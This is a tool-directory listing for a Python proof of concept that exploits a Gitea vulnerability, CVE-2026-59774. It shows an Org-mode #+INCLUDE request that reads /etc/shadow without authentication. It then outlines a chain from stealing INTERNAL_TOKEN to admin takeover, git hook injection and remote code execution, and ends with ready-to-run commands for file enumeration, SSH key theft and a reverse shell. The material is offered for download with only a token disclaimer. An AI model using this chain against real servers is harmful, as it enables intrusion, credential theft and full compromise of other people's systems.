Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/ly0kha/cve-2026-59774
Privilege EscalationExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubly0kha/cve-2026-59774

CVE-2026-59774

Python PoC exploiting Gitea CVE-2026-59774: Org-mode #+INCLUDE local file read chained through INTERNAL_TOKEN admin takeover and git hook injection to remote code execution.

View Repository
1126 days agoNot yet reviewed
Share

CVE-2026-59774 — Gitea LFI to RCE

The Bug

Gitea's /markup endpoint renders Org-mode #+INCLUDE directives with no path restriction. Any public repo, no auth — full arbitrary file read.

POST /{repo}/markup
{"Mode":"file","FilePath":"poc.org","Text":"#+INCLUDE: \"/etc/shadow\" src 123\n","Context":"/{repo}/src/branch/main/"}

The Chain

LFI → app.ini → INTERNAL_TOKEN → admin account → API token → git hook injection → RCE.

  1. Spray common paths, pull app.ini off disk
  2. Grab INTERNAL_TOKEN — either inline or from a token file
  3. Token hits /api/internal/manager/add-user — you're admin now
  4. Mint API token, get a repo you can push to
  5. Patch post-receive hook with your payload
  6. API commit fires the hook — shell drops
python poc.py -u URL -r owner/repo -f /etc/shadow
python poc.py -u URL -r owner/repo --enum
python poc.py -u URL -r owner/repo --enum --category ssh_keys
python poc.py -u URL -r owner/repo --rce --lhost IP --lport PORT
python poc.py -u URL -r owner/repo --web-rce

--web-rce — same chain, but no listener needed. You type a command, it gets pushed as a commit, hook runs it on the box, output drops to /tmp, tool reads it back through LFI. Full shell.

Disclaimer

Authorized pentesting .You break something ? that's on you.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →